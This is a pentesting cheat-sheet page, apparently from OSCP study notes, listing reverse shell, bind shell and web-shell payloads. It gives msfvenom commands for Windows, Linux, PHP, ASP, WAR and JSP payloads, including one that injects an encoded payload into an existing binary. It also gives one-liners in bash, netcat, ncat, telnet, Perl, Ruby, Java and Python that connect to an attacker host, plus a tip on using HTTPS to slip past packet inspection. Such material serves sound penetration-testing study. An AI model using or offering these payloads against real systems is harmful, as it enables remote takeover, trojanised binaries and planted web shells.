> For the complete documentation index, see [llms.txt](https://infosecsanyam261.gitbook.io/tryharder/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infosecsanyam261.gitbook.io/tryharder/shells.md). # Shells ## Reverse-shells This is s great collection of different types of reverse shells and webshells. Many of the ones listed below comes from this cheat-sheet:\ #### Windows **Meterpreter** **Standard meterpreter** ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=445 -f exe -o shell_reverse.exe ``` ``` use exploit/multi/handler set payload windows/meterpreter/reverse_tcp ``` **Meterpreter HTTPS** It makes the meterpreter-traffic look normal. Since it is hidden in https the communication is encrypted and can be used to bypass deep-packet inspections. ``` msfvenom -p windows/meterpreter/reverse_https LHOST=ip LPORT=443 -f exe -o met_https_reverse.exe ``` **Non-staged payload** ``` msfvenom -p windows/shell_reverse_tcp LHOST=ip LPORT=445 -f exe -o shell_reverse_tcp.exe ``` ``` use exploit/multi/handler set payload windows/shell_reverse_tcp ``` **Staged payload**i ``` This must be caught with metasploit. It does not work with netcat. ``` ``` use exploit/multi/handler set payload windows/shell/reverse_tcp ``` #### Inject payload into binary ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=445 -f exe -e x86/shikata_ga_nai -i 9 -x "/somebinary.exe" -o bad_binary.exe ``` ### Linux ### Binary ``` msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip LPORT=443 -f elf > shell.elf ``` ### Bash ``` 0<&196;exec 196<>/dev/tcp/ip/80; sh <&196 >&196 2>&196 ``` ``` bash -i >& /dev/tcp/ip/8080 0>&1 ``` ### Php ``` php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");' ``` ### Netcat **Bind shell** ``` #Linux nc -vlp 5555 -e /bin/bash nc ip 5555 # Windows nc.exe -nlvp 4444 -e cmd.exe ``` ### **Reverse shell** ``` # Linux nc -lvp 5555 nc ip 5555 -e /bin/bash # Windows nc -lvp 443 nc.exe ip 443 -e cmd.exe ``` ### **With -e flag** ``` nc -e /bin/sh ATTACKING-IP 80 ``` ``` /bin/sh | nc ATTACKING-IP 80 ``` **Without -e flag** ``` rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p ``` ### Ncat Ncat is a better and more modern version of netcat. One feature it has that netcat does not have is encryption. If you are on a pentestjob you might not want to communicate unencrypted. Bind ``` ncat --exec cmd.exe --allow 192.168.1.101 -vnl 5555 --ssl ncat -v ip 5555 --ssl ``` ### Telnet ``` rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p ``` ``` telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443 ``` ### Perl ``` perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ``` ### Ruby ``` ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ``` #### Java ``` r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() ``` ### Python ``` python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ``` ### Web-shells ### PHP This php-shell is OS-independent. You can use it on both Linux and Windows. ``` msfvenom -p php/meterpreter_reverse_tcp LHOST=ip LPORT=443 -f raw > shell.php ``` ### ASP ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=443 -f asp > shell.asp ``` ### WAR ``` msfvenom -p java/jsp_shell_reverse_tcp LHOST=ip LPORT=443 -f war > shell.war ``` ### JSP ``` msfvenom -p java/jsp_shell_reverse_tcp LHOST=ip LPORT=443 -f raw > shell.jsp ``` [
](https://sushant747.gitbooks.io/total-oscp-guide/webshell.html)